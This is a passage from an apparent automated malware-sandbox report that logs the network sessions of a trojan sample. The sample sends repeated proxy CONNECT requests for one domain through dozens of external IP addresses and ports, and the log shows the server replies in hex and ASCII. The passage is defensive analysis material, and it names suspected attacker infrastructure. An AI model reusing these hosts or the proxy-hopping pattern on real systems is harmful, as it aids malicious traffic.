6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 33 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 67 20 50 48 50 2f 37 2e 34 2e 37 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at postmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7 Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.8	52081	222.243.201.153	9992	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.839880943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.694915056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847666979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.201782942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.8	52143	39.99.144.43	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.840128899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.8	52098	111.225.152.74	8089	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.840204954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.413360119 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.8	52266	185.49.31.207	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.840306044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.8	52185	43.132.212.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.840337992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.8	52327	134.209.189.42	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.843827963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.999340057 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.8	52175	8.213.129.20	20201	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.843831062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.156032085 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.8	50811	103.180.198.162	8181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.844084024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991764069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.8	52320	193.242.210.140	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.853096962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.096829891 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:26 GMT Server: Apache X-Powered-By: PHP/5.3.3-7+squeeze17 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Last-Modified: Fri, 23 Feb 2024 13:28:26 GMT Expires: Fri, 23 Feb 2024 13:28:26 GMT X-Content-Security-Policy: allow 'self'; frame-ancestors 'none' X-Frame-Options: DENY X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Length: 3042 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 44 65 66 61 75 6c 74 2d 53 74 79 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 09 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6a 71 75 65 72 79 2d 75 69 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 68 74 6d 6c 35 73 68 69 76 2e 67 6f 6f 67 6c 65 63 6f 64 65 2e 63 6f 6d 2f 73 76 6e 2f 74 72 75 6e 6b 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 0a 09 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 63 73 73 2f 6d 61 69 6e 5f 69 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 6a 71 75 65 72 79 2e 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 61 73 73 65 74 73 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 3c 74 69 74 6c Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta http-equiv="Default-Style" content="text/css" /><script type="text/javascript" src="js/jquery.min.js"></script><script type="text/javascript" src="js/jquery-ui.min.js"></script>...[if lt IE 9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]--><link href="templates/Froxlor/assets/css/main.css" rel="stylesheet" type="text/css" />...[if IE]><link rel="stylesheet" href="templates/Froxlor/css/main_ie.css" type="text/css" /><![endif]--><link href="css/jquery.jquery-ui.css" rel="stylesheet" type="text/css"/><script type="text/javascript" src="templates/Froxlor/assets/js/main.js"></script><link href="templates/Froxlor/assets/img/favicon.ico" rel="icon" type="image/x-icon" /><titl
Feb 23, 2024 14:28:27.096860886 CET	1286	IN	Data Raw: 65 3e 46 72 6f 78 6c 6f 72 20 53 65 72 76 65 72 20 4d 61 6e 61 67 65 6d 65 6e 74 20 50 61 6e 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: e>Froxlor Server Management Panel</title><style type="text/css">body { font-family: Verdana, Geneva, sans-serif;}</style></head><body><div class="loginpage"><article class="login bradius"><header class="dark">
Feb 23, 2024 14:28:27.096946001 CET	941	IN	Data Raw: 69 6f 6e 20 76 61 6c 75 65 3d 22 50 6f 72 74 75 67 75 26 61 6d 70 3b 65 63 69 72 63 3b 73 22 20 20 3e 50 6f 72 74 75 67 75 26 65 63 69 72 63 3b 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 52 75 73 73 69 61 6e 22 20 Data Ascii: ion value="Portugu&ecirc;s" >Português</option><option value="Russian" >Russian</option><option value="Danish" >Danish</option><option value="Italian" >Italian</option><option value="Bulgarian" >Bulgarian</option><option value="
Feb 23, 2024 14:28:27.137445927 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 7a 01 fc 4a c3 e0 6e aa 36 96 ab 74 76 88 50 80 e3 ac d3 88 80 60 a2 2e fb 8f a3 1c c7 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ezJn6tvP`.*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#$lHWvW}gyf!0IDL\
Feb 23, 2024 14:28:27.388284922 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta http-equiv="Default-Style" content="text/css" /><script type="text/javascript" src="js/jquery.min.js"></script><script type="text/javascript" src="js/jquery-ui.min.
Feb 23, 2024 14:28:27.388314009 CET	1286	IN	Data Raw: 65 64 22 3e 0a 09 09 09 09 3c 66 69 65 6c 64 73 65 74 3e 0a 09 09 09 09 3c 6c 65 67 65 6e 64 3e 46 72 6f 78 6c 6f 72 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 4c 6f 67 69 6e 3c 2f 6c 65 67 65 6e 64 3e 0a 09 09 09 09 3c 70 3e 0a 09 09 09 09 09 3c 6c Data Ascii: ed"><fieldset><legend>Froxlor - Login</legend><p><label for="loginname">Username:</label> <input type="text" name="loginname" id="loginname" value="" required/></p><p><label for="passwo
Feb 23, 2024 14:28:27.388334990 CET	470	IN	Data Raw: 3e 3c 2f 73 65 6c 65 63 74 3e 0a 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 73 75 62 6d 69 74 22 3e 0a 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 73 65 6e 64 22 20 76 Data Ascii: ></select></p><p class="submit"><input type="hidden" name="send" value="send" /><input type="submit" value="Login" /></p></fieldset></form><aside><a href="index.php?action=forgotpwd">Forgot y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.8	52281	87.126.65.11	1388	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.857873917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.491756916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.195008039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382950068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882529974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.406423092 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.8	52225	8.213.128.90	10000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.891608000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.173731089 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.8	52166	51.68.164.77	5367	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.891817093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.695128918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882612944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991846085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.8	52360	162.159.241.160	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.892090082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.979438066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.8	52151	81.70.253.152	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.897989035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.8	52351	92.205.185.251	50539	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.898348093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.491753101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991868973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.8	52191	103.216.49.233	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.898361921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.8	52337	212.77.163.196	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.898721933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.491832972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.673233986 CET	923	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 782 Cache-Control: no-cache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 2a 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 7d 0a 20 68 74 6d 6c 20 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 31 30 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 20 7d 0a 20 23 63 6f 6e 74 65 6e 74 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 20 7d 20 0a 20 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 22 3e 3c 68 31 3e 41 63 63 65 73 73 20 42 6c 6f 63 6b 65 64 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 6f 72 20 55 52 4c 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 63 6f 72 70 6f 72 61 74 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 75 73 61 67 65 20 61 6e 64 20 77 65 62 20 73 75 72 66 69 6e 67 20 70 6f 6c 69 63 79 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 69 6e 20 63 61 73 65 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css"> * { font-family: verdana, sans-serif;} html body { margin: 10; padding: 10; background: #efefef; font-size:12px; color: #1e1e1e; float: left; } #content { font-size: 14px; color: #1e1e1e; } </style></head><body><div id="title"><h1>Access Blocked</h1></div><hr><div id="content">Access to the requested application or URL has been blocked in accordance with the corporate application usage and web surfing policy. Please contact your system administrator in case you believe this is an error.</p></div></body></html>
Feb 23, 2024 14:28:27.687227011 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:28.263854980 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:28.840200901 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:29.992017984 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:32.232305050 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:36.843442917 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:46.055948973 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.8	52252	203.74.125.18	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.907381058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.8	52115	103.182.213.100	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.907649994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.8	51217	45.140.88.219	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
